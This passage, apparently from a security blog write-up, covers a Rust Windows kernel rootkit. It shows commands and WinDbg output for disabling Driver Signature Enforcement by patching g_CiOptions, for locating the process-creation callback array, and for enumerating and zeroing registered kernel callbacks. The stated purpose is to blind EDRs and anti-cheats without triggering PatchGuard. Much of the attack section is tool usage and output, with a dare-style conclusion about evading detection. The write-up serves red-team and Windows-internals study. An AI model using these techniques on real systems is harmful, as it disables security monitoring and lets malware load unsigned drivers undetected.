Here we can disable Driver Signature Enforcement (DSE) from our rootkit:

PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) disabled: 0xe

The value for g_CiOptions is 0e, indicating DSE has been successfully disabled.

0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8  0e

Here we can enable Driver Signature Enforcment (DSE) from our rootkit:

PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) enabled: 0x6

The value for g_CiOptions is 06, indicating DSE has been successfully enabled.

0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8  06 

When DSE is disabled, we can double-check if this works by loading any unsigned driver.

Kernel Callbacks Theory

Kernel Callbacks are used to notify a Windows Kernel Driver when a specific event occurs such as when a process is created or exits aka PsSetCreateProcessNotifyRoutine or when a thread is created or deleted aka PsSetCreateThreadNotifyRoutine or when a DLL is mapped into memory aka PsSetLoadImageNotifyRoutine or when a registry is created aka CmRegisterCallbackEx or when a handle is created ObRegisterCallbacks. Anti-cheats have been using these for a very long time and AVs, EDRs, and Sysmon are also using these.

Anti-cheats or EDRs may choose to block/flag the process or thread from being created or block the DLL from being mapped or handles to be stripped.

For this example we will be looking at PsSetCreateProcessNotifyRoutine. A Windows kernel driver can register Kernel callbacks from the driver entry which are stored inside an array in memory called PspCreateProcessNotifyRoutine. Each Kernel callback has its own version of the array. For example the PsSetCreateThreadNotifyRoutine callback will have an array called PspCreateThreadNotifyRoutine.

Every Kernel callback has an array with each index containing pointers to a callback function and these callbacks exist inside the module/driver that registered it. These arrays have a maximum size of 64.

We can view this through Windbg. We see there is a call instruction to PspSetCreateProcessNotifyRoutine inside the PsSetCreateProcessNotifyRoutine function. This could be a jump instruction on different versions of Windows.

kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff802`3f186620 4883ec28        sub     rsp,28h
fffff802`3f186624 8ac2            mov     al,dl
fffff802`3f186626 33d2            xor     edx,edx
fffff802`3f186628 84c0            test    al,al
fffff802`3f18662a 0f95c2          setne   dl
fffff802`3f18662d e8b6010000      call    nt!PspSetCreateProcessNotifyRoutine (fffff802`3f1867e8)
fffff802`3f186632 4883c428        add     rsp,28h
fffff802`3f186636 c3              ret

We can unassemble PspSetCreateProcessNotifyRoutine until we see the first LEA assembly instruction, which is short for Load Effective Address. This instruction is moving the address of the PspCreateProcessNotifyRoutine array into the R13 CPU register. (Other Windows may use a different register).

0: kd> u nt!PspSetCreateProcessNotifyRoutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`3f1867e8 48895c2408      mov     qword ptr [rsp+8],rbx
<...redacted...>
0: kd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`3f18683c 488bf8          mov     rdi,rax
fffff802`3f18683f 4885c0          test    rax,rax
fffff802`3f186842 0f8491730c00    je      nt!PspSetCreateProcessNotifyRoutine+0xc73f1 (fffff802`3f24dbd9)
fffff802`3f186848 33db            xor     ebx,ebx
fffff802`3f18684a 4c8d2d8f5b5600  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff802`3f6ec3e0)]
fffff802`3f186851 488d0cdd00000000 lea     rcx,[rbx*8]
fffff802`3f186859 4533c0          xor     r8d,r8d
fffff802`3f18685c 4903cd          add     rcx,r13

We can dump the address being loaded into the R13 CPU register and see that various callback pointers have been registered.

0: kd> dqs fffff802`3f6ec3e0
fffff802`3f6ec3e0  ffffa208`4a0500ff
fffff802`3f6ec3e8  ffffa208`4a1f484f
fffff802`3f6ec3f0  ffffa208`4a7fcddf
fffff802`3f6ec3f8  ffffa208`4a7fcd4f
fffff802`3f6ec400  ffffa208`4a7fcb6f
fffff802`3f6ec408  ffffa208`4af072cf
fffff802`3f6ec410  ffffa208`4af0780f
fffff802`3f6ec418  ffffa208`4af07daf
fffff802`3f6ec420  ffffa208`4c895c9f
fffff802`3f6ec428  ffffa208`4c89ad0f
fffff802`3f6ec430  ffffa208`4eca9cdf
fffff802`3f6ec438  ffffa208`4ecaa30f
fffff802`3f6ec440  00000000`00000000
fffff802`3f6ec448  00000000`00000000
fffff802`3f6ec450  00000000`00000000
fffff802`3f6ec458  00000000`00000000

Here we can see that 12 callbacks are present, and the other entries are empty. We view our very own Kernel callback registered from our rootkit. The values shown on the right side are HANDLES so we have to AND it with 0xfffffffffffffff8 to get the raw pointer as explained in this post https://codemachine.com/articles/kmdf_handles_and_pointers.html

Here we can see our rootkit has registered a kernel callback. An EDR or anti-cheat may have registered callbacks.

0: kd> dps (ffffa208`4eca9cdf & fffffffffffffff8) L1
ffffa208`4eca9cd8  fffff802`47210580 Eagle!driver_entry+0x4a90

Note that there is not an easy way to directly access the kernel callback arrays. We first have to traverse the PspSetCreateProcessNotifyRoutine function and then traverse PspSetCreateProcessNotifyRoutine to get the LEA instruction so we can access the array. There are many different techniques to access the array dynamically but these won’t be covered in this post.

Exercise for the reader: https://synzack.github.io/Blinding-EDR-On-Windows/

So how do we blind the EDR / anti-cheat or remove these kernel callbacks? Well, it’s as simple as zeroing out the array. We can use our rootkit to find the address of the array at runtime and replace the specified index with 0s.

Note: The techniques for enumerating/disabling all of the kernel callbacks are the same and won’t require much extra effort as the same concept applies.

All of this can be used to blind/evade EDRs or anti-cheats. However, note that an anti-cheat or EDR can also check to see if their callback is registered or removed and this might be suspicious. Note that this does not trigger PatchGuard.

Kernel Callbacks Example

Here we can enumerate the number of callbacks and the modules/drivers that have registered the callbacks:

PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 12
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")
[10] 0xffffa2084eca9cdf ("Eagle.sys")
[11] 0xffffa2084ecaa30f ("MpKslDrv.sys")

In this example, we will disable the kernel callback registered via our very own rootkit. Here we will replace the 10th index with 0’s, which will disable the registered callback made by Eagle.sys.

PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] Callback patched successfully at index 10

We can enumerate the number of callbacks and the name of the module that has registered callbacks again to see if we disabled it.

Here we can see that Eagle.sys is no longer on the list of registered callbacks and we have successfully disabled the kernel callback for Eagle.sys.

PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 11
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")

Missing Features

Some of the missing features for this rootkit are hiding files/directories, hiding a network connection, hiding registry keys, and other unimplemented kernel callbacks, which should not be difficult to implement in the future.

Conclusion

The knowledge required to keep updated in the Windows Kernel area is very vast due to how cutting-edge the field can be. There are many crossovers from the game hacking and anti-cheats are miles ahead of EDRs but EDRs appear to be following the same path. Game hackers and malware developers have been using these techniques for many years, and are also ahead of the game, and red teamers have recently started learning about Windows Kernel and Kernel rootkit techniques. It becomes much easier once you know the fundamentals of Windows Internals, C/C++/Rust, debugging, and reverse engineering. The question comes down to whether is it what you’re interested in and whether it is worth it. Well, that depends on what you want to do. Want to bypass an anti-cheat/EDR? Reverse it, find out what it does, how it works, how it detects things, then don’t do the thing that makes it detect you :). Whilst it may sound simple, the time, effort, and knowledge it requires might not be worth it, depending on what you want to do. But if you put your mind to it then anything is possible.

I hope you enjoyed my writeup.

Note

A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else’s bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete.

I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The preferred safe and robust way of coding Windows Kernel Drivers in Rust is shown here:

Additional rootkit resources

References and Credits